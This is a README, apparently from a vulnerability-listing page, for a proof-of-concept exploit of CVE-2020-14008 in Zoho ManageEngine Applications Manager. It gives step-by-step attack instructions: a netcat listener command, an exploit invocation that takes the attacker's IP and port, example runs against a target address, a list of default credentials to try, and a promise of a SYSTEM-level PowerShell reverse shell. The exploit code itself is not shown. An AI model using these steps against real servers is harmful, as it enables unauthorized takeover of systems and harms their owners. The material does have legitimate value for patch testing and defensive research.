CVE-2020-14008 PoC — Zoho ManageEngine Applications Manager 代码问题漏洞

介绍

# CVE-2020-14008 ManageEngine Exploit

## What is this?
This script exploits CVE-2020-14008 in ManageEngine Applications Manager to get a reverse shell with SYSTEM privileges.

## Requirements
```bash
pip3 install requests urllib3
```

## How to use it

### 1. Start a listener
```bash
nc -nlvp 9001
```

### 2. Run the exploit
```bash
python3 cve-2020-14008-exploit.py <target_url> <username> <password> <your_ip> <your_port>
```

### Examples
```bash
# Direct attack
python3 cve-2020-14008-exploit.py https://192.168.1.100:8443 admin admin 192.168.1.50 9001

# Through port forwarding
python3 cve-2020-14008-exploit.py https://localhost:8443 admin admin 127.0.0.1 9001
```

## Common credentials to try
- `admin:admin`
- `administrator:administrator`
- `guest:guest`

## What you get
- PowerShell reverse shell
- SYSTEM privileges on the target
- Full control of the ManageEngine server 

文件快照

备注